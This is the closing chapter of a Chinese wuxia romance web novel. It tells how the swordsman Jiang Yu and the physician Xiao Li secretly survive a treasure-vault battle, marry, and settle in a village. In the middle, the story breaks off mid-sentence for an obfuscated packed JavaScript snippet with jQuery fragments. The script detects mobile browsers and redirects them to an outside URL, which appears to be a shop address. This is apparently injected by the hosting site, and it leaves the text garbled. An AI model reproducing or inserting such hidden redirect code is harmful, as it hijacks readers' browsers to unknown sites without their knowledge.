37. 宁鑫烟火【全文完】

作品:《绛妆

    “方姨,后来呢?”


    见故事断在精彩处,一群乡村孩童焦急地扯了扯方蝶的衣袖。坐在凳上的方蝶和蔼地拍拍声音最大那个小女孩的背,继续道:


    “后来寻霜教主和武林盟主在宝库内大战一场,上百年前的精密机关对上当时武林中最强大的高手,一时间整个西北雪境都变得天昏地暗。到最后连下面那些他们的手下都不打了,收起武器抬头直愣愣看着这两个人交手。”


    那的确是前无古人后无来者的精彩一战,当年青玄海内的围杀或许能与之匹敌,但那个时候青玄海大殿内无人见证。


    平时从不出手的李平泽在雪境宝库内展现出非凡的实力,能坐上盟主之位的人毕竟智勇双全,他只受了几道伤便攻破机关阵,剑锋直朝雪无霁心口逼去。


    雪无霁本人早就被易时废了武功,只有左护法和身边几个爱徒挡在前面同李平泽交战。但这些小辈并无一人是李平泽对手,李平泽没几招便将她们尽数打倒,最后如当年斩杀陆邈般一剑杀了雪无霁。


    在用利剑刺穿雪无霁喉咙时,他从白发女子眼里看到了浓重的不甘。雪无霁看向他的眼神像要将他扒皮抽筋,那眉心点有朱砂的脸溅上血就如同从地狱中爬出来的恶鬼,让他拔剑的手不禁颤抖。


    他知道四大派不完全无辜,陆邈固然杀过人也害了他的妻子,可有许多罪孽确实是他跟三位弟妹强加给陆邈的。


    曾一心为妻报仇的他最清楚仇恨的可怕,李平泽承认他在这一刻心虚了,被雪无霁临死前的眼神看得发毛。


    寻霜教两代教主均死不瞑目,他们深深怨恨着四大派,那眼神让李平泽往后余生都被困在梦魇里,再没睡过好觉。


    吸取了雪无霁当年带走陆邈尸身炼化传血蛊的教训,李平泽在杀死雪无霁后立刻下令将寻霜教众人的尸身带出去统一焚烧。可他们在试图开启宝库大门时按错了机关,宝库中的巨石便轰隆隆朝着众人砸下来,弄得已然受伤的李平泽只得强行用真气破开墙壁,而后狼狈逃窜。


    临行前他一把拖走了江煜,后者在他一剑洞穿萧璃胸口时就发了狂。他废了好大力气才将拼命反抗的江煜打晕了拉出来,而后雪境中的宝库完全崩塌,将一切血腥连同真相都掩埋在了大雪下。


    在那场大战里唯二活着出来的人,便是李平泽和江煜。


    后面李平泽将江煜留在白日山做收拾烂摊子的幌子,江煜却在唐陌和其他白日山弟子的围攻下留了条命,离开白日山独自逃去了不知什么地方。四大派搜了江煜整整五年,可天底下到处都找不到这少年郎的身影,他就像人间蒸发般忽然消失无踪了。


    直到五年后的一个阴天,一身黑衣、面色惨白的江煜才重新出现在望苍城。他沉默着在和萧璃初遇的地方喝了碗酒,然后洒下写满四大派和寻霜教恩怨真相的漫天血书,最后提着一把剑独自杀上了白日山。


    这五年来江煜不知修习了什么功法,白日山上下竟无一人是他对手。江湖上最新的青年才俊唐陌被他三两下杀死,他踏着尸山血海走上高台,如恶鬼般来到李平泽面前。


    最后他如李平泽杀死萧璃般一剑杀了李平泽,自己却也中了李平泽下的毒,在大雨落下的那一刻永远闭上了双眼。


    ***


    听罢这个故事,周围孩童纷纷陷入沉默。


    片刻过后一个小女娃甚至“哇”地一声直接哭了出来,听到哭声的方蝶瞬间乱了方寸,手忙脚乱不知该如何是好。


    “方姨,为什么会是这样啊……”


    “少侠和女神医感情那么好,怎么会是这个结局啊!”


    “是啊是啊,话本里的故事结局都是男女主成亲的,他们不应该这样死掉!”


    众孩童的吵闹弄得方蝶无所适从,她虽已到而立之年却并未生儿育女,因此并没有和孩子打交道的经验。黄昏村庄内于是出现一番奇景,来帮忙带娃的女子对着一群哇哇大哭的孩子哄了又哄,却怎么都没办法让他们安静下来。


    就在这时,方蝶身后的小屋内走出一个人:


    “阿蝶?外面怎么了?”


    那是个风姿绰约的成熟女子,她一袭红衣依稀带有清冷气息,走在山野乡间却像是从天上来的谪仙。她的眉眼十分漂亮,皮肤也丝毫没有这个年纪会出现的苍老。若非眼角出现了细细的皱纹,外人根本想不到这人其实已经快五十岁。


    见这人出现,方蝶像是找到了救星:


    “大师姐,你终于来了!”


    然后,方蝶叫苦不堪地向大师姐倾诉了自己看管孩童失败的经历。大师姐听完这话忍俊不禁,伸手摸了摸哭得最凶那个小女孩的头:


    “没事,故事的后半部分我来跟他们说。方姨方才和你们说的是江湖上众人皆知的版本,你们想听另外一个完全不一样的结尾吗?”


    听到故事还有转机,那群孩童纷纷抬起泪眼看向方蝶的大师姐。大师姐挥挥手示意方蝶先进去,然后自己坐到黄昏时分温馨的暮色里,向他们说出另一段不为人知的往事。


    ***


    那日宝库崩塌后,不少人葬身在了骤然落下的巨石和积雪下。


    雪无霁和李平泽最终交战的那方石台却比较幸运。或许是因为那里本就是宝库的核心,自毁式的守门机关在崩塌时为石台上的人留了生路,这才没让他们在混乱中被砸个血肉模糊。


    而在一切陷入寂静许久后,倒在石台边缘的武滟眉心微动,醒了过来。


    武滟感觉自己的肋骨断了,方才李平泽一掌拍在她后背让她飞出十几米远,她在落地后当即口吐鲜血没了知觉。后面萧璃挥剑上前同李平泽缠斗,李平泽便无暇顾及这个大概率已命丧黄泉的人,将她晾在一旁了。


    可万幸的是,李平泽低估了武滟的能力。他为对付左护法和萧璃刻意留了几分力,因而武滟虽觉浑身疼痛却还是醒了过来,忍着胸口剧痛一寸寸爬向倒在血泊中的同门。


    负伤让她觉得浑身都在发冷,加上风雪声从不知哪个缝隙中传进来,武滟绝望爬动时感觉自己手脚颤抖得厉害。


    她在一片死寂的灰白色中艰难挪到雪无霁身边,可她的师尊早就死不瞑目地没了呼吸,从脖颈间喷涌而出的大量鲜血将满头白发都染成了绛红色。武滟跪在雪无霁尸身旁沉默了很久很久,直到她感受到泪水从眼眶里滴下来,才终于撕心裂肺地抱着灵魂早已归西的师尊大哭了一场。


    那是她的师尊,是将她害到被迫与寻霜教狼狈为奸又差点丢了性命的人,可那也是一手将她带大传她医理又教她武功的人。


    她恨不起雪无霁,望苍城和其他许多百姓的惨死又让她始终无法站到雪无霁身边。她只恨为何苍天要安排如此无解的局,害她们师徒几人落到如此阴阳两隔的下场。


    她曾经最爱的回春谷,结局不应该是这样。


    一直哭到声音都沙哑,武滟这才带着满脸泪痕将雪无霁的眼睛轻轻阖上。她直到现在还对传说中那个杀人不眨眼的大魔头陆邈毫无同情,可在替师尊闭上双眼的时候,她默默许下一个愿望,希望陆雪二人来世还能相遇。


    这样,也算是圆了师尊的夙愿吧。


    然后武滟从自己身上摸出个药瓶,吞咽几颗后勉强撑起力气朝几个倒地不起的师妹走去。


    她摇摇晃晃地摸了一个又一个师妹的脉搏,颤抖着手探了一个又一个师妹的气息,却发现她们中间没一人还有生气。武滟哽咽着将师妹们的尸体挨个放平,最后双目通红地走向趴在血泊中脸色煞白的萧璃。


    萧璃算是雪无霁身边实力最强的人,因而李平泽对她下手最狠。武滟早就认定萧璃活不下来,却又始终不愿接受大师姐死去的事实。


    自打她进入回春谷那一刻起,大师姐就是她全能的倚仗。要是师尊和大师姐都死在这里,那她就算能逃出宝库也再不知该如何是好了。


    但令武滟始料未及的是,当他满心绝望伸手去探萧璃呼吸时,竟然感受到一丝微弱的气息。


    “大师姐!!!”


    武滟几乎是当场激动地掉了眼泪。她紧紧握住萧璃的手腕对着脉搏探了又探,好不容易才敢相信她的大师姐还有气——尽管这气息已非常微弱。


    接着武滟用尽浑身解数试图让萧璃醒来。武滟毕竟是雪无霁一手带出来的回春谷门徒,就算名声不及大师姐那般响,治病救人的手段却也十分高明。


    她想办法止住了萧璃伤处那汩汩往外冒的鲜血,又往萧璃嘴里硬塞了几颗丹药,将人扶正到平躺。


    大概是因为心中还念着某人所以有求生的念头吧,萧璃在李平泽一剑刺上来的那一瞬挪动身子将那剑避开几寸。与此同时她下意识集中体内真气护住心脉,因而那冰凉剑锋从她胸腔内刺过,却未伤到最致命的心脏。


    可萧璃在大战中大损元气是真,她失血过多又被李平泽几掌打出了内伤,就算一时还有呼吸也没办法醒来。而若是不加以救治一直这样下去,命丧黄泉也是迟早的事。


    眼见被困宝库的时间越来越长萧璃却不醒,武滟自然急了。焦虑之间她忽然想到在和李平泽开战前她曾看到一本医书,医书上有起死回生之秘籍,或许在这个时候能有用。


    于是她挣扎着在一片狼藉中找到那本医书,双手颤抖着在其中翻出对应页码,然后打开医书附近一个又一个匣子寻找药物。那是个治疗胸口重伤的濒死之人的方子,她不知这书上的办法是否可靠,可事已至此也只能放手一搏。


    她在灰尘四溢的废墟中艰难挪动,就连手都被碎石划出一道又一道伤痕,却到最后也没凑齐所有药材。宝库里缺了一朵罕见的红莲,偏偏这红莲是药方的关键,没有红莲就没办法救萧璃的命。


    转头看向躺在石台上仍重伤不醒的大师姐,武滟极其绝望地坐倒在地。长久被困的绝望后知后觉漫上她心头,她恍惚间意识到她们可能真出不去了。


    但就在武滟万念俱灰之际,石堆的一处忽然松动。而后来自雪原的天光照进废墟内,一张熟悉的年轻脸孔出现在外面:


    “武姑娘?你怎么样!”


    是江煜,武滟见他出现立刻激动地再站起来。徒手扒了半天石堆的江煜这时候手上满是鲜血,他头发散乱,眼神里也带了不少绝望的疯癫。


    江煜身后还跟着方蝶,方蝶一见师尊和同门的尸体就惊叫一声跌倒下去,江煜却再没功夫关注她。他三两步跑到武滟跟前将这人打量了一遍,然后望向萧璃嘶哑着声音问道:


    “阿璃她……她还活着吗?”


    这话瞬间提醒了武滟——这雪境宝库里没有红莲,江煜却曾在武林大会上送过萧璃一朵。


    她于是跟着激动起来,伸手就拽住了江煜的衣袖:


    “还活着,大师姐现在重伤不醒,但还有气!江少侠,大师姐离开回春谷时将你送她那朵红莲带出来了,那红莲就在……”


    “那朵红莲吗?方姑娘提醒我带过来了!”


    听到事情还有转机,江煜原本暗沉的眸子里忽然迸发出光泽。他不顾手上滴落的鲜血转身跑出宝库,再回来时手中捧了个精美的匣子,里面赫然是那朵精致漂亮的红莲。


    看那匣子在面前缓缓打开,武滟再次忍不住抬手擦了擦眼。


    那是江煜当年在武林大会上夺得魁首时李平泽给他的奖励,后面江煜为追求心上人将它送到萧璃手上,不想许久未用的红莲竟在这时救了萧璃的命。


    缘分真是个神奇的东西,你永远想不到上天会在什么时候给你的人生埋下机缘,又为你暗暗指出一条绝处逢生的道路。


    宝库中珍藏的医书的确厉害,萧璃服下药物后脉相就稳定了,只是仍双眼紧闭不知何时能转醒。武滟和方蝶于是连同江煜连夜将她带回宁鑫村,让她在房内静卧修养。


    正式离开西北雪境前,他们将宝库内那些尚能找到的珍贵书籍全数带了出来。而后江煜对准雪山出掌引起场巨大雪崩,滚滚雪浪将废墟连同很多人的尸体掩埋在厚重白色下,让四大派人再也找不到。


    这样,李平泽才不会发现萧璃和武滟活下来了。


    养伤的过程十分漫长,在鬼门关走了一遭的萧璃躺在床上睡了整整四年。若非先前被雪无霁教着习过武,她很有可能会再也醒不过来。


    那四年时光里春秋轮转,江湖上的势力变了一批又一批,李平泽派人去过一次又一次雪境却全都一无所获。同时御风楼的王楼主开始不甘心居于人下,白日山和御风楼于是暗流涌动了一阵,弄得唐陌成天带队在外面焦头烂额地奔走。


    他也带人来查过宁鑫村,可村长云慈带着大家用计将他们挡了回去。风波结束后她来药房找到江煜告诉他:萧璃对宁鑫村有恩,村内众人无论如何都会保证她们的安全。


    两个外界眼中的“已死之人”就这样苟活在这天下毫不起眼的一隅。方蝶和养好了伤的武滟会轮流照顾萧璃为她擦身子,江煜则负责给萧璃喂药,每晚都会牵着萧璃的手睡在她旁边。


    除此之外,江煜还会偶尔乔装打扮出现在各门各派。他将从宝库中抢救出来的秘籍分散开送到江湖上那些大小门派手上,还有一些交给了当地较为出名的游侠,自己则留下两本剑术。


    年轻的大侠每天沐浴着晨光醒来,走到院内面对初升朝阳练上两个时辰剑,再然后和武滟方蝶一起检查萧璃情况,剩下的时间则像普通山野村民般忙忙碌碌。


    某天他背着筐丰收过后的水稻走回院门口,看着晚霞映照下的小院忽然就觉得心中流过一阵幸福。这远离江湖纷争的平淡日子让他恍然间来到一个美好到不真实的世界,又想在这世界中待到永远。


    而时间过去一千五百余天后,萧璃终于醒了。


    那天江煜照例在太阳初升时睁眼,决定照常收拾装束去院子里舞剑。半睡半醒间他却感到有人捏了捏他的手指,恍然片刻后心中涌现出惊喜,忍不住伸出双手紧握住他心上人的手:


    “阿璃?阿璃你怎么样!”


    萧璃这一觉睡了太久,刚醒来时感觉喉咙剧痛一时发不出声,看着江煜焦急而健康的模样却还是忍不住轻轻笑了。熹光将她清瘦的身形包裹在一片朦胧里,她伸出另一只手轻轻抚上江煜眉心,浓密睫毛下是一双漂亮到极点而又氤氲着温柔的眼眸。


    她用手指感受着江煜的轮廓,用自己最本能的身体的语言告诉他:别怕,我回来了。


    再然后就是武滟和方蝶的喜极而泣。昏睡了足够长时间的萧璃醒转后没多久就恢复了与往日无异的模样,她的武功因为这一战大打折扣,但好歹保住了一条命。


    知道萧璃从今往后大概率没法再何人动手那天,江煜蹲在她榻边握着她的手郑重其事地许下承诺:他不会再让萧璃身处险境了。就算萧璃武功尽废也有他保护,他会永远做萧璃手中最锋利的剑,也做萧璃最坚实的依靠。


    萧璃听到这话不由一笑,然后伸出手轻柔抚摸了江煜的脸颊。随后药房院落中张灯结彩,他们一人一袭绚烂如烈火的红衣,在宁鑫村村民的祝福下三叩九拜、喜结连理。


    这场景远没有当初灯会幻境中的十里红妆盛大,站在花球两侧的江煜和萧璃却都觉得心中无比安定。历经万千风波后还能牵着心上人的手许下承诺,这在江湖上简直是莫大的幸运。


    江煜就这样在武滟和方蝶的叫好声中轻轻掀开了萧璃的盖头,然后当着全村人的面在她唇上印上一吻。云慈坐在主桌欣慰笑着,郑春春带着一群孩童欢快拍着手。他们含情脉脉地相互注视,这一眼便看尽了往后余生。


    随后便是洞房花烛、炽烈缠绵。


    萧璃在李平泽手中伤得实在是重,那药带来一些别的伤害,因而现在的她并无和江煜生儿育女的能力。不过她觉得这样也好,不生孩子能免得她再去阎王爷那走一遭,只跟最重要的三个人隐居于此还挺让她痛快。


    但日子不能一直这样清闲下去,江湖上那些纠纷总得有个头。江煜于是找准日子进了望苍城,他按照他们四人在宁鑫村商量过无数遍的计谋将四大派曾经的万千罪行昭告天下,又孤身仗剑为父报仇杀上了白日山。


    那宝库中的东西三年就能让陆邈天下无敌,同样天赋异禀又专心研习了五年剑术的江煜现在要对付李平泽简直是易如反掌。李平泽临死时用暗器给江煜下了毒想要同归于尽,可萧璃和两位师妹早就在望苍城等着了,李平泽一咽气她们就立刻上了高台。


    区区白日山毒素,还不至于难倒江湖上著名的女神医萧璃。


    这场持续二十余年的闹剧就这样落下帷幕,世人皆认为伪善的李平泽和入魔的江煜在白日山上同归于尽,又将陆邈和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882469|190866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    江湖四杰的恩怨翻出来说了一遍又一遍。就连雪无霁和陆邈的隐秘情分也在说书先生的拍案声中入了话本,同江煜、萧璃一道成为令人遗憾的虐恋佳话。


    不过这一切都跟江煜萧璃再无关系了。他们杀死李平泽后便回了宁鑫村,从此便在这山村中开始与江湖纷乱隔绝的新生活,安安稳稳做对田园鸳鸯。


    宁鑫村中的孩童似乎格外喜欢他们的阿煜哥哥和阿璃姐姐,院落中随时都有男娃女娃缠着他们要听故事,他们忙不过来就会将这事丢给武滟和方蝶。这群孩童听多了江湖故事,竟莫名其妙对那刀光剑影产生了向往。


    不少小家伙甚至想拜那身强体壮、武艺高强的阿煜哥哥为师,死缠烂打甚至扒在他们家门口就是不走。江煜和萧璃为此头疼了很久,最终却还是把这事答应了下来,教这群过于热情的娃娃习武行医。


    不过,江煜对这群徒弟提了个要求:


    他教他们习武是为了让他们强身健体,同时教给他们面对危险时自保的能力。但他不希望他们将来再参与到这些混乱的江湖纠纷中,就算要行走江湖也只能做一届游侠,千万不要再跟白日山、御风楼之流扯上关系。


    这群孩童本就对那些勾心斗角的黑暗门派没什么兴趣,闻言点头如捣蒜地答应了。


    江煜其实很有做孩子王的潜质,他很快便和这群活蹦乱跳的小徒弟打成一团,院落内热衷习武的孩童也越来越多。到最后江煜足足收了十个徒弟,萧璃某天靠在门边看着院中人头攒动,忍不住低头捏了捏眉心:


    “再这样下去,这都要变成村中的新学堂了。”


    不想这随口吐槽竟启发了江煜,他当场就跳到萧璃跟前道:


    “阿璃好主意,不如我今后就将教他们习武的地方搬到学堂吧?正好教书先生最近在为书生逃学之事苦恼,我这样刚好可以将他们引过去,这算是一举多得了!”


    萧璃:……


    好吧,有一说一这主意还真挺不错的。


    江煜和云慈毫不意外地一拍即合,联合村里的教书先生对学堂进行了改造。村中孩童去学堂的频率就这样迅速回升,但逢年过节他们还是会去江煜院里,在看望师娘的同时闹哄哄玩上一场。


    方蝶说故事这天正是大年二十九,孩童们约好趁这时候看师父,第二天再各回各家过大年。江煜和武滟于是一起给他们做了桌丰盛的晚饭,四个大人连同一群孩子围在桌边大快朵颐,狭小屋舍内满是幸福快乐的氛围。


    曾经的孩子王郑春春这时已长大,她游历江湖回来后同江煜喝起了酒,扬言今天一定要将师父喝趴下;王婶家的孙女这时正用筷子和赵叔儿子比划,这动作一点不符合饭桌上的礼仪规矩,潇洒惯了的大人们却全然不管;武滟被三个孩童围着问某道菜的做法,四十多岁的女子笑得眼睛都弯了,却依旧大大咧咧同晚辈们开着玩笑……


    萧璃和方蝶这时是坐在一处的,大师姐和小师妹看着满桌热闹景象心中感慨万千。萧璃抬起酒杯抿了一口然后放下,声音不大不小地对方蝶道:


    “当年在回春谷的时候,我们好像也这样过过年。”


    那会方蝶刚拜入雪无霁门下不久,满头白发的师尊将最小的徒弟抱在怀里,师门众人一同站在药田前抬头看烟花。方蝶想到这情形心头一软,而后忽然记起什么很久以前的事,不由开口道:


    “大师姐,其实我感觉师尊早就在我们面前表现出过问题了。”


    “嗯?”


    她们已经许久没提起当年的事了,因而萧璃乍一听到这话有点疑惑。方蝶又看着她道:


    “我这几天做了很多关于以前的梦,忽然想起当年有次我养在房中的盆栽死了,我于是就去师尊房里找她。其实那天我根本没觉得师尊能救,但她看过之后朝我盆里撒了点黑色粉末,那植物就立刻生出新芽了。”


    萧璃于是也想起那时的场景,那时候那场惊险万分的武林大会刚结束,她在找雪无霁的路上恰巧撞见方蝶捧着盆植物出来。聪明的大师姐一下就想清楚了其中关窍:


    “这情况跟传血蛊傀儡被斩断一臂后迅速再生的样子有点像,你是怀疑师尊给了你和传血蛊有关的药粉,这才让你的植物好了起来?”


    手上沾满鲜血的寻霜教主罪孽深重,却也会为了爱徒的一盆植物随意掏出本该是秘密武器的药粉。哪怕现下早已时过境迁,方蝶想到这事还是会感受到一股温柔的怀念。


    她满眼释然地笑了笑,停了很久又在一片热闹声中道:


    “对。而且其实就算到现在,我也不知道师尊到底有没有错。”


    萧璃同样这么觉得。她在一切结束后就决定带着两位师妹赎罪了,当年望苍城里有成千上万的百姓,她三人便立志在有生之年通过蒙面行医救助一万人。这样或许能弥补回春谷当年犯下的罪孽,可若真要萧璃怪雪无霁,她也怪不起来。


    于是,她像当年在谷里很多次那样摸了摸小师妹的脑袋:


    “这些事不想了,既然一切结束,再深究谁对谁错也没什么意义。”


    事实确实如此,方蝶也早在过去多年中想通了,只是此刻触景生情又让她想起雪无霁而已。她感受到大师姐的安慰释然笑了笑,然后拿起筷子继续吃饭了。


    大年二十九的饭桌上格外热闹,人们每一次落筷都带着满满的喜悦,每一次举杯都盛着满满的祝福。远处城镇提前放起烟火,过年时一切都是那么的美好。


    ***


    待那群吵吵嚷嚷的徒弟离开后,萧璃和江煜飞身上了屋顶。


    曾经的御风楼少楼主江煜这时候也早就不再年轻了,他的剑眉星目间多了几分属于成熟男人的沧桑,脸上的英俊和身上那股意气风发的少年气却丝毫没有消散。萧璃每次看他都会觉得自己眼光很好,竟然能在天下那么多男子中挑中这么个如此好的人。


    见萧璃看向自己,坐在屋顶上的江煜背朝夜空露出一个笑:


    “盯着我做什么?这是觉得我好看,让阿璃移不开眼?”


    这家伙人到中年还是爱贫嘴,萧璃走上前去在他额头上戳了一下。江煜边笑边被戳得不由后仰,萧璃结束动作后便坐到他身边,和他并肩坐着看向不远处的城镇。


    临近年关的山下城镇相当热闹,他们不用听都知道一定有穿着大红袍的幼童奔跑在大街小巷间放着鞭炮。耀眼的烟花时不时就会升上半空,某一时刻天边炸开的烟花照亮萧璃侧脸,江煜偏过头温柔地问她:


    “成亲之后就没怎么见你穿红衣服,怎么今天穿上了?”


    萧璃今天确实穿了件跟平日风格完全不一样的衣服,她面对江煜的好奇只是笑了笑:


    “就是突然想起我们马上就成亲十年了,正好前些天我听孩子们闹着要爹娘买红衣服,就在上次下山的时候买了一套。”


    江煜身上这时候也是明艳的红色,这亮色洗去了他身上的岁月红尘,为他多镀上一层曾经的年轻的活力。他闻言愣了愣又道:


    “十年?我都没注意到过去这么久了。”


    “是啊。武林大会那一年发生了好多事,但在李平泽死后时间就变得跟流水一样,现在江湖上的格局也已经和十年前完全不一样了,一切事情都在变。”


    萧璃这话显然激起江煜心中一阵感慨。他伸手握住萧璃那洁白修长的手,眸中神情愈发柔和下去:


    “是,但我们永远也不会变。今后的日子我只想在宁鑫村好好感受这里的人间烟火,身边有云婆婆,有一群吵吵嚷嚷的小徒弟,有像亲妹妹一样的武姑娘和方姑娘,还有我最重要的阿璃。”


    说到最后,他忍不住偏过头在萧璃脸上亲了一下。就算结发多年他们也仍会因对方的靠近而感到心跳加速,萧璃浅笑着接受了他的亲吻,然后握着他的手将头靠在他肩膀上。


    远处城镇又放起一轮烟花,五光十色的光影在夜空中炸开,也照亮两人相互依偎的身影。他们像年轻时一样潇洒又恣意地坐在屋檐上,身穿最喜庆的红衣看着新年将至时的人间烟火,两颗心在烟花声中同频共振地跳动。


    又一片彩色的光影照进眼瞳,萧璃紧了紧握住江煜的手,眸中含笑对他轻轻说出这样一句:


    “嗯,那今后的岁岁年年,我们都要陪伴在彼此身边。”


    【全文完】